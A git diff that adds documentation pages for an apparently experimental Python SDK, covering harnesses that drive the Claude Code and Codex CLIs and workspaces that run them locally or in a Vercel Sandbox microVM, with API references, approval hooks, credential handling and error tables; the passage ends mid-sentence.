UI on a pseudo-terminal in the +workspace. Attach your terminal with `tty.bridge`: + +```python +from ai.workspaces.experimental import tty + +tui = await agent.tui(session_id, name="work") +await tty.bridge(tui.pty) # Ctrl-] detaches + +await tty.bridge(await workspace.attach("work")) # later, from any process +``` + +- A `Tui` has `session_id`, `handle`, `pty`, `detach()`, and `close()`. It has + no `run`, `steer`, or `stop`, because a person drives it. +- A `name` keeps the TUI running after you detach. Without one it ends with + your connection. +- `tui(history=...)` starts a new TUI conversation with a past. +- A bare `tui()` on Codex has `session_id` and `handle` of `None`, because + Codex picks its own id. Find the conversation later with `sessions()`. +- `tty` is POSIX only and needs a real terminal on stdin. Import it + explicitly. + +## Structured output + +Pass `output_type` to `run()`: + +```python +import pydantic + + +class Finding(pydantic.BaseModel): + file: str + line: int + title: str + + +result = await session.run(prompt, output_type=list[Finding], retries=2) +findings: list[Finding] = result.output +``` + +The SDK adds the JSON schema to the prompt, validates the reply, and asks +again with the error up to `retries` times. Then it raises pydantic's +`ValidationError`. With `timeout=`, a cancelled reply that does not validate +raises too. `result.prompt_sent` shows the edited prompt. + +## Errors + +Harness errors live in `ai.harnesses.experimental.errors`. They subclass +`HarnessError`, which subclasses `ai.errors.AIError`. `NotAuthenticatedError` +is shared with workspaces and subclasses `WorkspaceError`. + +| Error | Meaning | +|---|---| +| `UnsupportedError` | This harness lacks the capability. | +| `HarnessClosedError` | The harness is not open. | +| `ExecutableMissingError` | The CLI is not runnable in the workspace. | +| `SessionBusyError` | Another client writes this conversation. Fork it. | +| `ResumeFailedError` | The conversation could not be reopened. | +| `AgentCrashedError` | The CLI process died. | +| `TurnFailedError` | The CLI reported the turn as failed. | +| `NotAuthenticatedError` | No credentials where the CLI runs. | + +A refusal or a cancelled turn is a normal `Result`, not an error. + +## How it works + +- **Layering.** Caller, then `Harness`, then one adapter per CLI, then the + workspace. Adapters never start processes; they ask the workspace. That is + why one adapter runs locally and in a microVM. A workspace knows nothing + about harnesses. +- **A borrowed conversation model.** Messages, parts, events, and usage are + the `ai` types. `result.messages` works anywhere `ai` messages do, such as + [AI SDK UI](/docs/basics/ai-sdk-ui). +- **Structured output is a layer.** It only calls `run()`. It is the one + place the SDK edits your prompt, which is why `prompt_sent` exists. + +## Examples + +One runnable file per feature: + +- [`examples/harnesses/basic.py`](https://github.com/vercel-labs/ai-python/blob/main/examples/harnesses/basic.py): + one prompt. +- [`examples/harnesses/streaming.py`](https://github.com/vercel-labs/ai-python/blob/main/examples/harnesses/streaming.py): + events as they arrive. +- [`examples/harnesses/steering.py`](https://github.com/vercel-labs/ai-python/blob/main/examples/harnesses/steering.py): + redirect a running turn. +- [`examples/harnesses/tool_approval.py`](https://github.com/vercel-labs/ai-python/blob/main/examples/harnesses/tool_approval.py): + an approval hook. +- [`examples/harnesses/take_over.py`](https://github.com/vercel-labs/ai-python/blob/main/examples/harnesses/take_over.py): + fork a conversation you did not start. +- [`examples/harnesses/resume.py`](https://github.com/vercel-labs/ai-python/blob/main/examples/harnesses/resume.py): + save a handle, continue in another process. +- [`examples/harnesses/handoff.py`](https://github.com/vercel-labs/ai-python/blob/main/examples/harnesses/handoff.py): + move a conversation between harnesses. +- [`examples/harnesses/sandbox.py`](https://github.com/vercel-labs/ai-python/blob/main/examples/harnesses/sandbox.py): + the same code in a Vercel Sandbox. +- [`examples/harnesses/copy_files.py`](https://github.com/vercel-labs/ai-python/blob/main/examples/harnesses/copy_files.py): + copy a project in and results out. +- [`examples/harnesses/reconnect.py`](https://github.com/vercel-labs/ai-python/blob/main/examples/harnesses/reconnect.py): + detach, then come back to a sandbox. +- [`examples/harnesses/tui.py`](https://github.com/vercel-labs/ai-python/blob/main/examples/harnesses/tui.py): + the CLI's own TUI, attached to your terminal. + +Apps: + +- [`examples/apps/afk`](https://github.com/vercel-labs/ai-python/tree/main/examples/apps/afk): + a CLI that pushes local conversations into a sandbox TUI and brings them + back. +- [`examples/apps/deepysec`](https://github.com/vercel-labs/ai-python/tree/main/examples/apps/deepysec): + a security-scanning pipeline with fan-out across sandboxes and structured + output. diff --git a/docs/ai-python/content/docs/basics/index.mdx b/docs/ai-python/content/docs/basics/index.mdx index 290c00a8..3d5a2b92 100644 --- a/docs/ai-python/content/docs/basics/index.mdx +++ b/docs/ai-python/content/docs/basics/index.mdx @@ -22,6 +22,8 @@ Start with the model call, then add the pieces your app needs: - Pause tools for approval with hooks. - Run subagents as tools and stream their output. - Bridge agent streams to AI SDK UI clients over Server-Sent Events (SSE). +- Drive Claude Code and Codex from Python, locally or in a Vercel Sandbox + (experimental). ## Main primitives @@ -32,6 +34,8 @@ Start with the model call, then add the pieces your app needs: - `@ai.tool` exposes Python functions to models. - `Agent` runs the stream -> tool -> stream loop. - `ai.hook` pauses a workflow for external input. +- `ai.harnesses.experimental` drives coding-agent CLIs, and + `ai.workspaces.experimental` says where they run. ## Example map @@ -47,10 +51,14 @@ Focused samples live in category directories under `examples/`: - `examples/agents/custom_loop.py` overrides `Agent.loop`. - `examples/agents/streaming_tool.py` streams partial output from a tool. - `examples/agents/subagent.py` runs a subagent as a tool. +- [`examples/harnesses/basic.py`](https://github.com/vercel-labs/ai-python/blob/main/examples/harnesses/basic.py) + runs one Claude Code turn. End-to-end demos live in [`examples/apps/web_agent`](https://github.com/vercel-labs/ai-python/tree/main/examples/apps/web_agent), [`examples/apps/coding_agent`](https://github.com/vercel-labs/ai-python/tree/main/examples/apps/coding_agent), [`examples/apps/durable_agent_temporal`](https://github.com/vercel-labs/ai-python/tree/main/examples/apps/durable_agent_temporal), [`examples/apps/durable_agent_workflows`](https://github.com/vercel-labs/ai-python/tree/main/examples/apps/durable_agent_workflows), -and [`examples/apps/slack_agent`](https://github.com/vercel-labs/ai-python/tree/main/examples/apps/slack_agent). +[`examples/apps/slack_agent`](https://github.com/vercel-labs/ai-python/tree/main/examples/apps/slack_agent), +[`examples/apps/afk`](https://github.com/vercel-labs/ai-python/tree/main/examples/apps/afk), +and [`examples/apps/deepysec`](https://github.com/vercel-labs/ai-python/tree/main/examples/apps/deepysec). diff --git a/docs/ai-python/content/docs/basics/meta.json b/docs/ai-python/content/docs/basics/meta.json index e5c30479..07fec1b2 100644 --- a/docs/ai-python/content/docs/basics/meta.json +++ b/docs/ai-python/content/docs/basics/meta.json @@ -13,6 +13,8 @@ "durable-execution", "subagents-and-multi-agent", "human-in-the-loop", + "harnesses", + "workspaces", "ai-sdk-ui", "telemetry" ] diff --git a/docs/ai-python/content/docs/basics/workspaces.mdx b/docs/ai-python/content/docs/basics/workspaces.mdx new file mode 100644 index 00000000..bd909952 --- /dev/null +++ b/docs/ai-python/content/docs/basics/workspaces.mdx @@ -0,0 +1,238 @@ +--- +title: Workspaces +description: Choose where a harness runs and its files live. +type: guide +summary: Run harnesses in a local directory or a Vercel Sandbox, copy files, run commands and terminals, and reach a model through AI Gateway. +--- + +A workspace is where a [harness](/docs/basics/harnesses) runs. It owns every +path and process: the CLI, the commands the agent runs, and the files it +reads and writes. Change the workspace and the rest of your code stays the +same. + +This API is experimental and may change or be removed. + +## Local + +`Local` is a directory on this machine. It needs no extra. + +```python +from ai.harnesses import experimental as harnesses +from ai.workspaces import experimental as workspaces + +async with harnesses.codex(workspace=workspaces.Local("./project")) as agent: + await agent.run("Summarize the README.") +``` + +On your own machine a missing CLI raises `ExecutableMissingError`. The SDK +never installs software there. + +## Vercel Sandbox + +`VercelSandbox` is a Vercel Sandbox microVM. It needs the `sandbox` extra: + +```bash title="Terminal" +uv add "ai[sandbox]" +``` + +The extra needs a `vercel-sandbox` build with interactive PTY support +([vercel/vercel-py#415](https://github.com/vercel/vercel-py/pull/415), not +released yet). A missing or older package raises +`ai.errors.InstallationError` at construction. + +```python +gateway = workspaces.vercel_ai_gateway() # AI_GATEWAY_API_KEY + +async with workspaces.VercelSandbox(gateway=gateway) as sandbox: + await workspaces.copy("./my-project", sandbox / "project") + async with harnesses.codex(workspace=sandbox) as agent: + await agent.run("Fix the failing test in project/.") + await workspaces.copy(sandbox / "project", "./out") +``` + +- The SDK installs the CLI into the sandbox, which is yours to provision. +- The VM is the isolation boundary, so Codex runs there with full access. See + [Codex](/docs/basics/harnesses#codex). +- A harness opens its workspace but never closes it. Open the sandbox with + `async with`, as above, so it stops when you are done. + +### Credentials + +`VercelSandbox()` takes Vercel credentials from, in this order: + +- `token`, `team_id`, and `project_id` arguments. +- `VERCEL_TOKEN`, `VERCEL_TEAM_ID`, and `VERCEL_PROJECT_ID`, or + `VERCEL_OIDC_TOKEN`, in the environment. +- `.env.local` from `vercel link` and `vercel env pull`, found by searching + up from the current directory to the repository root. Pass `env_file=` or + `project_root=` to look elsewhere. + +The OIDC token is short-lived. When it expires, sandbox creation raises +`NotAuthenticatedError` telling you to pull it again. + +Only the Vercel credentials are read from `.env.local`; everything else in it +stays on your machine. Pass what the work needs with `env={...}`, or send the +whole file with `forward_project_env=True`. `env` applies to everything run +in the workspace, including the commands the agent runs. + +### Reach a model through AI Gateway + +A CLI authenticates where it runs. Your terminal login does not exist inside +a VM, so give the workspace a gateway: + +```python +gateway = workspaces.vercel_ai_gateway() +sandbox = workspaces.VercelSandbox(gateway=gateway) +``` + +`vercel_ai_gateway()` reads `AI_GATEWAY_API_KEY` from the environment, or +takes `api_key=`. It raises `NotAuthenticatedError` when there is no key. + +With a gateway, the sandbox locks its outbound traffic to an allowlist: + +- The gateway host. The sandbox firewall writes the key into requests to it, + so the VM only ever holds a placeholder. +- `registry.npmjs.org`, so the CLI can be installed. +- Any hosts in `allow_hosts=[...]`. + +Everything else is refused. + +`Local(path, gateway=gateway)` works too. There is no firewall locally, so +the real key goes in the CLI's environment. You can also pass `gateway=` to a +harness factory; it wins over the workspace's. + +### Options and reconnect + +| Option | Description | Default | +|---|---|---| +| `execution_time_limit` | How long the VM lives, in seconds. The platform default is short, so set it for long work. | `None`: the platform's default | +| `keep` | Whether `close()` leaves the VM running. | `None`: `False` for a sandbox you created, `True` for one you reconnected to | +| `name` | Reconnect to an existing sandbox instead of creating one. `sandbox.name` is set once the VM exists. | `None`: create one | +| `ports` | Ports to expose. Get a URL with `await sandbox.reachable_url(port)`. | `None` | +| `snapshot` | Start from a sandbox snapshot. | `None` | +| `workdir` | The working directory. | `"/vercel/sandbox"` | + +```python +async with workspaces.VercelSandbox(keep=True, gateway=gateway) as sandbox: + agent = harnesses.claude_code(workspace=sandbox) + await agent.open() + session = agent.session() + await session.run("Start the migration.") + saved = session.handle.model_dump_json() + await agent.detach() # the CLI keeps running in the VM + name = sandbox.name + +# later, anywhere: +async with workspaces.VercelSandbox(name=name, gateway=gateway) as sandbox: + ... +``` + +- `agent.detach()` releases your client and leaves the CLI running. + `agent.close()` ends it. +- Without an approval hook, a detached agent runs to completion. With one, it + waits at its next tool call until a client reconnects. +- Outbound rules are fixed when the VM is created. Reconnecting with + `gateway=` to a sandbox made without one raises `WorkspaceError`. + +## Copy files + +`copy()` moves a directory between your machine and a workspace. Mark the +workspace side with `workspace / "path"`: + +```python +await workspaces.copy("./project", sandbox / "project") # in +await workspaces.copy(sandbox / "reviews", "./reviews") # out +await workspaces.copy(one / "out", other / "in") # between workspaces +``` + +`workspace / "path"` builds a `WorkspacePath`. Two plain paths raise +`TypeError`; use `shutil` for local copies. + +`copy()` skips what the tree's `.gitignore` files exclude, and common noise +such as `.git`, `node_modules`, and `.venv`. Pass `ignore=[...]` to set your +own glob patterns, or `gitignore=False` to ignore `.gitignore`. It returns +the number of files copied. + +For single files, use the workspace methods. Never use `pathlib`, which +breaks as soon as the workspace is remote: + +```python +text = await sandbox.read_text("project/notes.md") +await sandbox.write_text("project/todo.md", "- ship it\n") +data = await sandbox.read_bytes("project/logo.png") +found = await sandbox.exists("project/setup.py") +``` + +`read_text` raises `FileNotFoundError` for a missing file. + +## Run commands + +```python +result = await sandbox.exec(["pytest", "-q"], timeout=120) +print(result.exit_code, result.stdout, result.stderr) +``` + +`exec` returns an `ExecResult`. On `Local`, a program that cannot start +returns `exit_code=127` instead of raising, and a command that runs past +`timeout` is killed and raises `TimeoutError`. + +`spawn(argv)` starts a long-running `Process` with `write`, `readline`, +`read_stderr`, `wait`, `terminate`, and `detach`. `terminate()` returns only +once the process is gone. + +`workspace.contains(path)` checks whether an absolute path is inside the +workspace, without touching any filesystem. Relative paths return `False`. +Use it in approval hooks. + +## Terminals + +`pty(argv)` runs a program on a pseudo-terminal and returns a `Pty`: + +```python +pty = await sandbox.pty(["bash"], name="shell", size=(120, 40)) +await pty.send(b"ls\n") +print(await pty.receive()) +await pty.detach() + +pty = await sandbox.attach("shell") # from any process +print(await sandbox.ptys()) # [PtyInfo(name="shell", pid=..., attached=False)] +await pty.close() +``` + +- A named pty keeps running after `detach()`. `attach(name)` reconnects to + it, and `ptys()` lists them. An unnamed pty ends with your connection. +- `close()` ends the program. `resize(cols, rows)` and `wait()` are also + available. +- To attach your own terminal, use `tty.bridge(pty)` from + `ai.workspaces.experimental.tty`. It is POSIX only and not imported by the + package. + +## Coordinates + +`workspace.coords` is a `WorkspaceCoords` with `provider`, `location`, and +`options`. A harness `Handle` carries it, and +`harnesses.workspace_from(coords)` rebuilds the workspace. A sandbox is +rebuilt by reconnecting to it by name. + +## Errors + +Workspace errors live in `ai.workspaces.experimental.errors` and subclass +`WorkspaceError`, which subclasses `ai.errors.AIError`. + +| Error | Meaning | +|---|---| +| `WorkspaceGoneError` | The sandbox is stopped or never existed. | +| `WorkspaceError` | The workspace could not do what was asked, for example a sandbox that could not be reached. | +| `NotAuthenticatedError` | No usable credentials where the CLI runs, or for the sandbox itself. | + +Only forget a saved sandbox on `WorkspaceGoneError`. Any other +`WorkspaceError` may mean the VM is still running. + +## Examples + +- [`examples/harnesses/sandbox.py`](https://github.com/vercel-labs/ai-python/blob/main/examples/harnesses/sandbox.py) + runs both harnesses in a Vercel Sandbox. +- [`examples/harnesses/copy_files.py`](https://github.com/vercel-labs/ai-python/blob/main/examples/harnesses/copy_files.py) + copies a project in and the results out. +- [`examples/harnesses/reconnect.py`](https://github.com/vercel-labs/ai-python/blob/main/examples/harnesses/reconnect.py) + leaves work running in a sandbox and comes back to it. diff --git a/docs/ai-python/content/docs/reference/ai/index.mdx b/docs/ai-python/content/docs/reference/ai/index.mdx index b70997f0..ccbd0e2a 100644 --- a/docs/ai-python/content/docs/reference/ai/index.mdx +++ b/docs/ai-python/content/docs/reference/ai/index.mdx @@ -49,6 +49,10 @@ These module aliases are also re-exported from `ai`. - [`util`](/docs/reference/util): Async utility helpers. - [`experimental_telemetry`](/docs/reference/telemetry): Tracing and observability APIs. +- [`harnesses`](/docs/reference/harnesses): Coding-agent CLI drivers, under + `harnesses.experimental`. +- [`workspaces`](/docs/reference/workspaces): Places harnesses run, under + `workspaces.experimental`. ## Models diff --git a/docs/ai-python/content/docs/reference/harnesses.mdx b/docs/ai-python/content/docs/reference/harnesses.mdx new file mode 100644 index 00000000..db0ca559 --- /dev/null +++ b/docs/ai-python/content/docs/reference/harnesses.mdx @@ -0,0 +1,367 @@ +--- +title: "ai.harnesses.experimental" +description: Reference for driving coding-agent CLIs. +type: reference +summary: Reference for claude_code, codex, Harness, Session, Turn, Tui, Result, Handle, approvals, capabilities, and harness errors. +--- + +`ai.harnesses.experimental` drives coding-agent CLIs, Claude Code and Codex, +on a [workspace](/docs/reference/workspaces). See +[Harnesses](/docs/basics/harnesses) for a guide. + +This API is experimental and may change or be removed. + +```python +from ai.harnesses import experimental as harnesses +from ai.workspaces import experimental as workspaces + +async with harnesses.claude_code(workspace=workspaces.Local(".")) as agent: + result = await agent.run("What does this repo do?") +``` + +## Harnesses + +Each factory returns a `Harness`. They share these arguments: + +| Argument | Description | Default | +|---|---|---| +| `workspace` | `Workspace` the CLI runs in. | required | +| `approve` | Async function that takes an `ApprovalContext` and returns a `Decision`. | `None`: every tool call is allowed | +| `approval_timeout` | Seconds a hook may take before the call is denied. | `300.0` | +| `model` | Model name passed to the CLI. | `None`: the CLI's default | +| `gateway` | Upstream model provider LLM Gateway, as a `Gateway`. Overrides the workspace's gateway. | `None`: the workspace's gateway | +| `effort` | `"low"`, `"medium"`, `"high"`, or `"max"`. | `None`: the CLI's default | +| `executable` | CLI name or path. | `"claude"` or `"codex"` | + +### claude_code + +```python +harnesses.claude_code( + *, + workspace, + approve=None, + approval_timeout=300.0, + model=None, + gateway=None, + effort=None, + executable="claude", +) +``` + +Claude Code. Needs the `claude-code` extra, and raises +`ai.errors.InstallationError` when it is missing. Takes only the shared +arguments. + +### codex + +```python +harnesses.codex( + *, + workspace, + approve=None, + approval_timeout=300.0, + model=None, + sandbox=None, + config=None, + gateway=None, + effort=None, + executable="codex", +) +``` + +Codex over `codex app-server`. Needs only the `codex` CLI. Takes the shared +arguments, plus: + +| Argument | Description | Default | +|---|---|---| +| `sandbox` | Codex's own sandbox mode: `"read-only"`, `"workspace-write"`, or `"danger-full-access"`. On a provider-owned workspace, other values raise `UnsupportedError` on open. | `"read-only"` on `Local`, `"danger-full-access"` on a provider-owned workspace | +| `config` | Codex config overrides. Wins over values derived from `gateway` and `effort`, key by key. | `None` | + +`effort="max"` is sent to Codex as `"xhigh"`. + +## Harness + +One configured CLI, open on one workspace. Build it with `claude_code()` or +`codex()`. Use it as an async context manager, or call `open()` and +`close()`. + +```python +agent.kind # "claude-code" or "codex" +agent.name # same as kind +agent.version # what the CLI reported, or None +agent.capabilities +agent.workspace +agent.options # model, executable, sandbox, effort +agent.approve # the hook, or None +agent.approval_timeout +agent.is_open +agent.process_ids # local pids; empty in a sandbox +``` + +Methods: + +- `await open()`: Open the workspace, then probe the CLI. Idempotent. +- `await close()`: End the CLI and its conversations. The workspace stays + open; close it yourself. +- `await detach()`: Release this client and leave the CLI running. On a + workspace whose processes end with the client, this is `close()`. +- `session(*, history=None)`: Start a new `Session`. With `history`, it + begins with that past. +- `await run(prompt, *, history=None, output_type=None, retries=1, + timeout=None)`: Run one prompt in a throwaway conversation. Returns a + `Result`. +- `await sessions()`: List the CLI's conversations in this workspace as + `SessionInfo` values, including ones started outside the SDK. +- `await history(session_id, *, limit=None, offset=0)`: Return a stored + transcript as `ai.messages.Message` values, tool calls included. +- `await resume(session_id)`: Continue an existing conversation. Raises + `SessionBusyError` when another client holds it, and `ResumeFailedError` + when it does not exist. +- `await fork(session_id)`: Start a new conversation with the same past. The + original is never written. +- `await tui(session_id=None, *, history=None, name=None, size=None)`: Open + the CLI's own TUI on a pty in the workspace. Returns a `Tui`. Passing both + `session_id` and `history` raises `ValueError`. + +Methods that need a capability the harness lacks raise `UnsupportedError`. +Methods called before `open()` raise `HarnessClosedError`. + +## Session + +One conversation. + +```python +session.session_id +session.messages +session.handle +``` + +`session_id` is the CLI's own id. It is empty until the first turn creates +the conversation. + +Methods: + +- `await run(prompt, *, output_type=None, retries=1, timeout=None)`: Send a + prompt and wait for the turn to settle. Returns a `Result`. +- `stream(prompt)`: Send a prompt and return a `Turn`. +- `await steer(text)`: Send guidance to the running turn. Raises + `RuntimeError` when no turn is running. +- `await stop()`: End the running turn. It settles as `"cancelled"`. +- `await reclaim()`: Settle a turn whose consumer stopped iterating. +- `await close()`: Release the conversation so another client can resume it. + +- `output_type`: The SDK adds the type's JSON schema to the prompt, + validates the reply, and asks again up to `retries` times before raising + pydantic's `ValidationError`. +- `timeout`: The turn is stopped at the deadline and returns a cancelled + `Result`. With `output_type` too, a cancelled reply that does not validate + raises. + +## Turn + +A running turn. Iterate it for `ai.events.AgentEvent` values: model events +plus `ToolCallResult`. + +```python +turn = session.stream(prompt) +async for event in turn: + ... +turn.result +turn.settled +await turn.aclose() +``` + +`result` raises `RuntimeError` until the turn settles. A turn can be iterated +once. + +## Result + +One settled turn. + +| Field | Description | +|---|---| +| `finish_reason` | `"stop"`, `"cancelled"`, or `"length"` (Claude Code hit its turn limit). | +| `text` | The agent's final message, after its last tool call. | +| `messages` | The conversation as of settling. | +| `usage` | [`ai.types.usage.Usage`](/docs/reference/types). Claude Code reports cost in `usage.raw["cost_usd"]`. | +| `output` | The validated value when the turn ran with `output_type`. | +| `prompt_sent` | Exactly what the agent received. | +| `approval_errors` | Approval hooks that raised or timed out. Those calls were denied. | +| `cancelled` | `True` when `finish_reason` is `"cancelled"`. | + +## Tui + +A conversation a person drives in the CLI's own TUI. + +```python +tui.session_id +tui.handle +tui.pty +await tui.detach() +await tui.close() +``` + +- `session_id` and `handle` are `None` for a bare `tui()` on Codex, which + picks its own id. Find the conversation later with `sessions()`. +- `pty` is the `Pty` to attach with `ai.workspaces.experimental.tty.bridge`. +- `detach()` drops the connection. A named TUI keeps running. +- `close()` ends the TUI and releases the conversation. + +## SessionInfo + +One conversation in the CLI's store. + +| Field | Description | +|---|---| +| `kind` | `"claude-code"` or `"codex"`. | +| `session_id` | The CLI's own id. | +| `title` | The conversation's title or first prompt, or `None`. | +| `cwd` | The directory it ran in, or `None`. | +| `updated_at`, `created_at` | Timestamps as the CLI reports them, or `None`. | +| `running` | `True` when a client holds the conversation, so `resume()` would raise `SessionBusyError`. | + +## Handle + +A conversation as plain, serializable data. + +| Field | Description | +|---|---| +| `kind` | `"claude-code"` or `"codex"`. | +| `session_id` | The CLI's own id. | +| `workspace` | `WorkspaceCoords`. | +| `options` | Configuration the conversation was created with. | +| `harness_version` | CLI version, or `None`. | + +A handle carries no approval hook and no key. + +## harness_from + +```python +async with harnesses.harness_from( + handle, + *, + fork=False, + approve=None, + approval_timeout=300.0, + gateway=None, +) as session: + ... +``` + +Rebuilds the harness and workspace a `Handle` names, and yields its +conversation: resumed, or forked with `fork=True`. The harness closes when +the block ends; the rebuilt workspace is not closed. Raises +`ResumeFailedError` for an unknown harness kind. + +## workspace_from + +```python +workspace = harnesses.workspace_from(coords) +``` + +Rebuilds a `Local` or `VercelSandbox` from `WorkspaceCoords`. A sandbox is +reconnected by name. Other providers raise `WorkspaceError`. + +## Approvals + +### ApprovalContext + +What an approval hook decides with. It has no control verbs: the agent is +waiting on the decision. + +| Field | Description | +|---|---| +| `call` | The `ToolCall` being decided. | +| `history` | The conversation so far. | +| `workspace` | The workspace the CLI runs in. | +| `harness` | `"claude-code"` or `"codex"`. | +| `session_id` | The conversation's id. | +| `prompt` | The turn's prompt on Claude Code; `None` on Codex. | + +### ToolCall + +One tool call, as the CLI described it. + +| Field | Description | +|---|---| +| `id` | Call id. | +| `name` | The CLI's native tool name, such as `Bash` or `fileChange`. Codex names shell calls `commandExecution`; the command is in `input`. | +| `input` | Native arguments. | +| `title` | Display text. Do not key policy on it. | +| `kind` | A hint the CLI supplied, or `None`. | +| `agent_id` | Set when a subagent made the call. | +| `hints` | Extras the CLI supplied. | +| `raw` | The untouched native payload. | + +### Allow + +```python +harnesses.Allow(input=None, remember=False) +``` + +Lets the call run. `input` rewrites the arguments where +`capabilities.rewrite_tool_input` is true (Claude Code only). `remember` is +not supported on either harness. An unsupported option denies the call and +raises `UnsupportedError` from the turn. + +### Deny + +```python +harnesses.Deny(reason="", *, stop=False) +``` + +Blocks the call. `Deny("stay in the repo")` and `Deny(reason="stay in the +repo")` are the same. `reason` reaches the agent where +`capabilities.deny_reason` is true (Claude Code only). `stop=True` also ends +the turn. + +### Decision + +`Allow | Deny`. + +## Capabilities + +What a harness can do, declared before anything runs. Read it from +`agent.capabilities`. + +| Capability | Description | Claude Code | Codex | +|---|---|---|---| +| `run` | Run a prompt and wait for the result: `run()`. | yes | yes | +| `stream` | Iterate a turn's events as they arrive: `stream()`. | yes | yes | +| `steer` | Send guidance to the turn that is running: `session.steer()`. | yes | yes | +| `stop` | Interrupt the running turn; it settles as cancelled: `session.stop()`. | yes | yes | +| `resume` | Continue a conversation this process did not create: `resume()`, `harness_from()`. | yes | yes | +| `fork` | Branch a conversation into a new one with the same past: `fork()`. | yes | yes | +| `history` | Read stored transcripts in full, tool calls included: `history()`, `sessions()`. | yes | yes | +| `images` | The CLI accepts image input. `run()` and `stream()` send text only today. | yes | yes | +| `rewrite_tool_input` | Rewrite a call's arguments before it runs: `Allow(input={...})`. | yes | no | +| `deny_reason` | The reason in `Deny(reason)` reaches the agent. Without it the call is still denied, but the reason is dropped. | yes | no | +| `remember_decisions` | Keep an approval for the rest of the session: `Allow(remember=True)`. | no | no | +| `approval` | Which tool calls reach the hook. `"policy"`: the CLI's own policy decides, so not every call does. | `"policy"` | `"policy"` | + +`approval` is an `ApprovalCoverage`: + +| Value | Meaning | +|---|---| +| `"all"` | Every tool call reaches the hook. | +| `"policy"` | The CLI's own policy decides which calls reach the hook. | +| `"none"` | No approval channel. | + +`capabilities.approve` is `True` unless `approval` is `"none"`. + +## Errors + +`ai.harnesses.experimental.errors` contains the harness errors. They +subclass `HarnessError`, which subclasses `ai.errors.AIError`, except +`NotAuthenticatedError`. + +| Error | Meaning | Attributes | +|---|---|---| +| `UnsupportedError` | The harness lacks a capability. | `harness`, `capability` | +| `HarnessClosedError` | The harness is not open. | | +| `ExecutableMissingError` | The CLI is not runnable in the workspace. | `kind`, `executable`, `install` | +| `SessionBusyError` | Another client holds the conversation. Claims live in the workspace under `~/.ai-python/locks/`. | `session_id`, `holder_pid` | +| `ResumeFailedError` | The conversation could not be reopened. | `session_id` | +| `AgentCrashedError` | The CLI process died. | `harness`, `detail`, `exit_code` | +| `TurnFailedError` | The CLI reported the turn as failed. | `harness`, `detail` | +| `NotAuthenticatedError` | No credentials where the CLI runs. Re-exported from `ai.workspaces.experimental.errors`, so it subclasses `WorkspaceError`. | `harness`, `detail`, `hint` | diff --git a/docs/ai-python/content/docs/reference/index.mdx b/docs/ai-python/content/docs/reference/index.mdx index 5b306b0a..ae1ca701 100644 --- a/docs/ai-python/content/docs/reference/index.mdx +++ b/docs/ai-python/content/docs/reference/index.mdx @@ -9,5 +9,6 @@ Reference pages are organized by public module. Start with `ai` for names imported directly from the top-level package, such as `ai.stream`, `ai.Agent`, and `ai.Tool`. Use sibling module sections such as -`ai.events`, `ai.messages`, `ai.ops`, `ai.providers`, `ai.testing`, and +`ai.events`, `ai.messages`, `ai.ops`, `ai.providers`, `ai.testing`, +`ai.harnesses.experimental`, `ai.workspaces.experimental`, and `ai.agents` for public submodule APIs. diff --git a/docs/ai-python/content/docs/reference/meta.json b/docs/ai-python/content/docs/reference/meta.json index a361672f..46e7faa7 100644 --- a/docs/ai-python/content/docs/reference/meta.json +++ b/docs/ai-python/content/docs/reference/meta.json @@ -13,6 +13,8 @@ "events", "errors", "mcp", + "harnesses", + "workspaces", "types", "util", "telemetry" diff --git a/docs/ai-python/content/docs/reference/workspaces.mdx b/docs/ai-python/content/docs/reference/workspaces.mdx new file mode 100644 index 00000000..14bc03b4 --- /dev/null +++ b/docs/ai-python/content/docs/reference/workspaces.mdx @@ -0,0 +1,312 @@ +--- +title: "ai.workspaces.experimental" +description: Reference for places where harnesses run. +type: reference +summary: Reference for Local, VercelSandbox, Workspace, copy, Process, Pty, Gateway, tty, and workspace errors. +--- + +`ai.workspaces.experimental` contains the places a +[harness](/docs/reference/harnesses) runs: a local directory or a Vercel +Sandbox. See [Workspaces](/docs/basics/workspaces) for a guide. + +This API is experimental and may change or be removed. + +```python +from ai.workspaces import experimental as workspaces + +async with workspaces.Local("./project") as workspace: + result = await workspace.exec(["ls"]) +``` + +## Local + +```python +workspaces.Local(path, *, env=None, gateway=None) +``` + +A directory on this machine. `open()` creates it when missing. `close()` +ends every process it spawned. + +| Argument | Description | Default | +|---|---|---| +| `path` | Directory path. `~` is expanded. | required | +| `env` | Environment for everything run here, on top of this process's environment. | `None` | +| `gateway` | Upstream model provider LLM Gateway, as a `Gateway`. The credential goes in the CLI's environment. | `None` | + +## VercelSandbox + +```python +workspaces.VercelSandbox( + *, + token=None, + team_id=None, + project_id=None, + workdir="/vercel/sandbox", + snapshot=None, + env=None, + forward_project_env=False, + env_file=None, + project_root=None, + execution_time_limit=None, + ports=None, + name=None, + keep=None, + gateway=None, + allow_hosts=(), +) +``` + +A Vercel Sandbox microVM. Needs the `sandbox` extra with interactive PTY +support, and raises `ai.errors.InstallationError` when it is missing. + +| Argument | Description | Default | +|---|---|---| +| `token`, `team_id`, `project_id` | Vercel credentials. | `None`: read from the environment or `.env.local` | +| `workdir` | Working directory in the VM. | `"/vercel/sandbox"` | +| `snapshot` | Snapshot id to start from. | `None` | +| `env` | Environment for everything run in the VM. | `None` | +| `forward_project_env` | Also send every non-credential variable from `.env.local`. | `False` | +| `env_file` | Path to the env file. | `None`: the nearest `.env.local`, searching up from `project_root` to the repository root | +| `project_root` | Where to start searching for `.env.local`. | `None`: the current directory | +| `execution_time_limit` | VM lifetime in seconds. | `None`: the platform's default | +| `ports` | Ports to expose when the VM is created. | `None` | +| `name` | Reconnect to an existing sandbox instead of creating one. | `None`: create one | +| `keep` | Whether `close()` leaves the VM running. | `None`: `False` for a sandbox you created, `True` for one you reconnected to | +| `gateway` | Upstream model provider LLM Gateway, as a `Gateway`. Locks outbound traffic to an allowlist and injects the credential at the firewall; see [Workspaces](/docs/basics/workspaces#reach-a-model-through-ai-gateway). | `None` | +| `allow_hosts` | Extra hosts the VM may reach when `gateway` is set. | `()` | + +Beyond `Workspace`, a sandbox has `name`: the platform's name for it, or +`None` before it exists. + +`open()` with `name` raises `WorkspaceGoneError` when the sandbox is stopped +or missing, `WorkspaceError` when it cannot be reached or was created without +credential injection for the requested gateway, and `NotAuthenticatedError` +when the Vercel credentials are rejected. + +## Workspace + +The base class both workspaces implement. Use it as an async context +manager, or call `open()` and `close()`. + +```python +workspace.kind +workspace.owner +workspace.duplex_spawn +workspace.path +workspace.coords +workspace.env +workspace.gateway +``` + +| Property | Description | +|---|---| +| `kind` | `"local"` or `"sandbox"`. | +| `owner` | `"user"` or `"provider"`. The SDK installs a missing 